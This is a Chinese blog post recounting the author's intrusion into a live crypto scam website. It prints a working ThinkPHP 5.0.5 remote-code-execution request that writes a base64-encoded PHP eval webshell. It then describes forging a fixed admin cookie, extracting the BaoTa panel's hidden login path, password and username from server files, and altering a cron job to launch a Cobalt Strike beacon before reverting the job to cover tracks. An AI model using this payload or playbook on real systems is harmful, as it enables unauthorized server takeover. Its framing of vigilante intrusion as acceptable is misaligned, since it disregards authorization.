干货|对某杀猪盘的渗透测试

你的名字 2022-11-06 14:00 49阅读 0赞

最近偶然发现一个虚拟货币买涨跌的杀猪盘，遂进行了一波测试，前台长这样。

![图片][397a05feca1deef9ce5c7d272be22147.png]

为thinkphp5.0.5随用RCE进行打入，成功写入webshell。

s=index|think\app/invokefunction
    &function=call_user_func_array&vars[0]=assert
    &vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MMTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))

查看发现phpinfo信息发现已经禁用所有能够执行系统命令的函数，且com和dl加载都不能用无法执行相应的系统命令如下所示:

![图片][49f30021199389a80de96302f5863f3b.png]

> assert,system,passthru,exec,pcntl\_exec,shell\_exec,popen,proc\_open
> 
> //php如上系统命令都已经禁用

但有文件的读写权限没有禁用assert(),file\_put\_contents()等函数，查看后发现windows系统如下所示:

![图片][2d1d416512a894ec9b550294f00f8690.png]

由于php执行系统命令的函数都被禁用勒，从而导致无法执行系统命令很难受，之后下载了他的网站源码简单看了一波，发现其管理员cookie固定且可以伪造如下所示，看着像后门:

![图片][e64d17951bea9fd58e00ceb9134e9263.png]

故可后台登录绕过，管理员cookie固定，添加cookie字段即可登录绕过。浏览器f12,在cookie中添加上述键值访问index，即可成功后台登录如下所示好多钱(被骗的人好多):

![图片][de863bbc0bfe55320ec3e6c8e8094e85.png]

前台询问客服了解到转账账户(该杀猪盘运作方式是用户将钱打入客服提供的账户后，用户再在自己的账号冲入相应数值的资金至后台审核，审核后即可使用数值的前进行货币的涨跌投资买卖交易),留作证据上交:

![图片][6a8740da948def0a564f1de428d1087c.png]

由于之前一直无法执行系统命令，想要突破一下就开始翻他服务器上的文件，翻阅文件发现存在宝塔的文件夹，探测发现确实开放8888端口存在宝塔服务但默认登录入口已被修改，如下所示:

![图片][fc87db3f053e451eea65f87323fb6765.png]

翻阅宝塔文件发现存储路径的文件名admin\_path.pl,如下所示:

![图片][29fb5246acd00e39ca954b3344402217.png]

找到宝塔登录入口，成功访问该登录入口，如下所示:

![图片][042d20f09f8edc1d1566684f9f6a2080.png]

继续翻阅发现一个default.pl的文件，该文件中存放的是相应的登录密码:

![图片][fee636d73f18e6038d0bee0166f916b1.png]

拿到密码尝试了默认用户名发现不对不能登录，继续翻文件default.db文件是记录登录记录的，找到登录账号:

![图片][56955f362fc6db050fde5d630633ce5c.png]

利用账号密码成功登录宝塔管理后台，如下所示：利用账号密码成功登录宝塔管理后台，如下所示：

![图片][6faeed2155fed2df6157ae243ace939b.png]

找到定时任务处修改计划任务执行cs上线马，上线后在将计划任务改回，如下所示：

![图片][e7b7203aa0dfef3b4646d3c0e109fbc3.png]

cs成功上线如下所示:

![图片][38205125c2bdb10febe97e7ff9bdee36.png]

查看ip仅有公网地址无内网，同C段还有其他几台部署的都是同一套东西就不再往下搞了:

![图片][4a1d37766313709423f35d6b5aea4308.png]

总的就这样，没啥东西比较无味。

[397a05feca1deef9ce5c7d272be22147.png]: /images/20221023/910e1a277cc64188a2c6de700c1bcd91.png
[49f30021199389a80de96302f5863f3b.png]: /images/20221023/bdfbb905c36d4556b79646d74d1504ec.png
[2d1d416512a894ec9b550294f00f8690.png]: /images/20221023/19caedcdb8c548e2a2cf2a32b20b2e94.png
[e64d17951bea9fd58e00ceb9134e9263.png]: /images/20221023/d19d137d602b40c6bda009090ef69ef3.png
[de863bbc0bfe55320ec3e6c8e8094e85.png]: /images/20221023/4567e42ca6c7482a824f5d0210aaf762.png
[6a8740da948def0a564f1de428d1087c.png]: /images/20221023/023362d6813f4c60b3b2773008e69be7.png
[fc87db3f053e451eea65f87323fb6765.png]: /images/20221023/948899da599b45c4be44f203660ef2d1.png
[29fb5246acd00e39ca954b3344402217.png]: /images/20221023/fab586cad2fa47c985b08a095b97bfc6.png
[042d20f09f8edc1d1566684f9f6a2080.png]: /images/20221023/4d21cb920cdf475ea4fe0a99b601a21c.png
[fee636d73f18e6038d0bee0166f916b1.png]: /images/20221023/117b431105b24c18b5bf58cf196c9f4b.png
[56955f362fc6db050fde5d630633ce5c.png]: /images/20221023/279835cb42cb42c6bff9441a33eae26c.png
[6faeed2155fed2df6157ae243ace939b.png]: /images/20221023/04aa114380f442008d4e3816f835333c.png
[e7b7203aa0dfef3b4646d3c0e109fbc3.png]: /images/20221023/68b699a0ee1e4b38b67d8b8e7a39c4e8.png
[38205125c2bdb10febe97e7ff9bdee36.png]: /images/20221023/101715ceca5545acad200b0ab66b6714.png
[4a1d37766313709423f35d6b5aea4308.png]: /images/20221023/b948aa37a53140199e5df22641bbf2ad.png